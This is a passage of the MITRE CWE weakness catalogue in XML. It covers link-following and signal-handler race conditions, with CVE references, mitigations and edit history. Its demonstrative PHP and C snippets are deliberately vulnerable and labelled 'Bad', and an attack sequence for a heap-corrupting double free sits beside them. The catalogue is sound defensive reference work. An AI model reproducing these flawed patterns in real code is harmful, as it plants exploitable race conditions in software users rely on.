               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Research_Gaps, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Martin Sebor</Contribution_Name>
               <Contribution_Organization>Cisco Systems, Inc.</Contribution_Organization>
               <Contribution_Date>2010-04-30</Contribution_Date>
               <Contribution_Comment>Provided Demonstrative Example</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2008-04-11">Race Conditions</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Race Condition</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="363" Name="Race Condition Enabling Link Following" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the product to access the wrong file.</Description>
         <Extended_Description>While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the product to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="367" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="59" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-49">
               <Intro_Text>This code prints the contents of a file if a user has permission.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function readFile($filename){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>$user = getCurrentUser();<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>//resolve file if its a symbolic link</xhtml:i>
                           <xhtml:br/>if(is_link($filename)){<xhtml:div style="margin-left:1em;">$filename = readlink($filename);</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>if(fileowner($filename) == $user){<xhtml:div style="margin-left:1em;">echo file_get_contents($realFile);<xhtml:br/>return;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">echo 'Access denied';<xhtml:br/>return false;</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Race condition enabling link following</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS35-C</Entry_ID>
               <Entry_Name>Avoid race conditions while checking for the existence of a symbolic link</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP20</Entry_ID>
               <Entry_Name>Race Condition Window</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="26"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Race Conditions&#34;, Page 526"/>
         </References>
         <Notes>
            <Note Type="Relationship">This is already covered by the "Link Following" weakness (CWE-59). It is included here because so many people associate race conditions with link problems; however, not all link following issues involve race conditions.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="364" Name="Signal Handler Race Condition" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a signal handler that introduces a race condition.</Description>
         <Extended_Description>
            <xhtml:p>Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the product state to be corrupted, possibly leading to a denial of service or even code execution.</xhtml:p>
            <xhtml:p>These issues occur when non-reentrant functions, or state-sensitive actions occur in the signal handler, where they may be called at any time. These behaviors can violate assumptions being made by the "regular" code that is interrupted, or by other signal handlers that may also be invoked. If these functions are called at an inopportune moment - such as while a non-reentrant function is already running - memory corruption could occur that may be exploitable for code execution. Another signal race condition commonly found occurs when free is called within a signal handler, resulting in a double free and therefore a write-what-where condition. Even if a given pointer is set to NULL after it has been freed, a race condition still exists between the time the memory was freed and the pointer was set to NULL. This is especially problematic if the same signal handler has been set for more than one signal -- since it means that the signal handler itself may be reentered.</xhtml:p>
            <xhtml:p>There are several known behaviors related to signal handlers that have received the label of "signal handler race condition":</xhtml:p>
            <xhtml:ul>
              <xhtml:li>Shared state (e.g. global data or static variables) that are accessible to both a signal handler and "regular" code</xhtml:li>
              <xhtml:li>Shared state between a signal handler and other signal handlers</xhtml:li>
              <xhtml:li>Use of non-reentrant functionality within a signal handler - which generally implies that shared state is being used. For example, malloc() and free() are non-reentrant because they may use global or static data structures for managing memory, and they are indirectly used by innocent-seeming functions such as syslog(); these functions could be exploited for memory corruption and, possibly, code execution.</xhtml:li>
              <xhtml:li>Association of the same signal handler function with multiple signals - which might imply shared state, since the same code and resources are accessed. For example, this can be a source of double-free and use-after-free weaknesses.</xhtml:li>
              <xhtml:li>Use of setjmp and longjmp, or other mechanisms that prevent a signal handler from returning control back to the original functionality</xhtml:li>
              <xhtml:li>While not technically a race condition, some signal handlers are designed to be called at most once, and being called more than once can introduce security problems, even when there are not any concurrent calls to the signal handler. This can be a source of double-free and use-after-free weaknesses.</xhtml:li>
            </xhtml:ul>
            <xhtml:p>Signal handler vulnerabilities are often classified based on the absence of a specific protection mechanism, although this style of classification is discouraged in CWE because programmers often have a choice of several different mechanisms for addressing the weakness. Such protection mechanisms may preserve exclusivity of access to the shared resource, and behavioral atomicity for the relevant code:</xhtml:p>
            <xhtml:ul>
              <xhtml:li>Avoiding shared state</xhtml:li>
              <xhtml:li>Using synchronization in the signal handler</xhtml:li>
              <xhtml:li>Using synchronization in the regular code</xhtml:li>
              <xhtml:li>Disabling or masking other signals, which provides atomicity (which effectively ensures exclusivity)</xhtml:li>
            </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="362" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="415" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="416" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="123" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Sometimes"/>
            <Language Name="C++" Prevalence="Sometimes"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>It may be possible to cause data corruption and possibly execute arbitrary code by modifying global variables or data structures at unexpected times, violating the assumptions of code that uses this global data.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>If a signal handler interrupts code that is executing with privileges, it may be possible that the signal handler will also be executed with elevated privileges, possibly making subsequent exploits more severe.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-3">
               <Phase>Requirements</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Design signal handlers to only set flags, rather than perform complex functionality. These flags can then be checked and acted upon within the main program loop.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Only use reentrant functions within signal handlers. Also, use validation to ensure that state is consistent while performing asynchronous actions that affect the state of execution.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-26">
               <Intro_Text>This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char *logMessage;<xhtml:br/>
                     <xhtml:br/>void handler (int sigNum) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>syslog(LOG_NOTICE, "%s\n", logMessage);<xhtml:br/>free(logMessage);<xhtml:br/>
                           <xhtml:i>/* artificially increase the size of the timing window to make demonstration of this weakness easier. */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>sleep(10);<xhtml:br/>exit(0);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main (int argc, char* argv[]) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>logMessage = strdup(argv[1]);<xhtml:br/>
                           <xhtml:i>/* Register signal handlers. */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>signal(SIGHUP, handler);<xhtml:br/>signal(SIGTERM, handler);<xhtml:br/>
                           <xhtml:i>/* artificially increase the size of the timing window to make demonstration of this weakness easier. */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>sleep(10);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>SIGHUP-handler begins to execute, calling syslog().</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The attacker then sends SIGTERM.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The SIGTERM handler is invoked.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
               <Body_Text>At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.</Body_Text>
               <Body_Text>Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.</Body_Text>
               <Body_Text>Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-48">
               <Intro_Text>The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#include &lt;signal.h&gt;<xhtml:br/>#include &lt;syslog.h&gt;<xhtml:br/>#include &lt;string.h&gt;<xhtml:br/>#include &lt;stdlib.h&gt;<xhtml:br/>
                     <xhtml:br/>void *global1, *global2;<xhtml:br/>char *what;<xhtml:br/>void sh (int dummy) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>syslog(LOG_NOTICE,"%s\n",what);<xhtml:br/>free(global2);<xhtml:br/>free(global1);<xhtml:br/>
                           <xhtml:i>/* Sleep statements added to expand timing window for race condition */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>sleep(10);<xhtml:br/>exit(0);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main (int argc,char* argv[]) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>what=argv[1];<xhtml:br/>global1=strdup(argv[2]);<xhtml:br/>global2=malloc(340);<xhtml:br/>signal(SIGHUP,sh);<xhtml:br/>signal(SIGTERM,sh);<xhtml:br/>
                           <xhtml:i>/* Sleep statements added to expand timing window for race condition */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>sleep(10);<xhtml:br/>exit(0);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the following sequence of events may result in a double-free (CWE-415):</Body_Text>
               <Body_Text>
                  <xhtml:ol>
                     <xhtml:li>
                        <xhtml:div>a SIGHUP is delivered to the process</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>sh() is invoked to process the SIGHUP</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>This first invocation of sh() reaches the point where global1 is freed</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>At this point, a SIGTERM is sent to the process</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>the second invocation of sh() might do another free of global1</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>this results in a double-free (CWE-415)</xhtml:div>
                     </xhtml:li>
                  </xhtml:ol>
               </Body_Text>
               <Body_Text>This is just one possible exploitation of the above code. As another example, the syslog call may use malloc calls which are not async-signal safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-0035</Reference>
               <Description>Signal handler does not disable other signal handlers, allowing it to be interrupted, causing other functionality to access files/etc. with raised privileges</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0035</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0905</Reference>
               <Description>Attacker can send a signal while another signal handler is already running, leading to crash or execution with root privileges</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0905</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1349</Reference>
               <Description>unsafe calls to library functions from signal handler</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1349</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0794</Reference>
               <Description>SIGURG can be used to remotely interrupt signal handler; other variants exist</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0794</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2259</Reference>
               <Description>SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2259</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>Signals</Functional_Area>
            <Functional_Area>Interprocess Communication</Functional_Area>
         </Functional_Areas>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Signal handler race condition</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Signal Handling Race Conditions</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Race condition in signal handler</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP19</Entry_ID>
               <Entry_Name>Missing Lock</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-360"/>
            <Reference External_Reference_ID="REF-361"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 13: Race Conditions.&#34; Page 205"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 13, &#34;Signal Vulnerabilities&#34;, Page 791"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships, Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="365" Name="DEPRECATED: Race Condition in Switch" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated. There are no documented cases in which a switch's control expression is evaluated more than once.</Description>
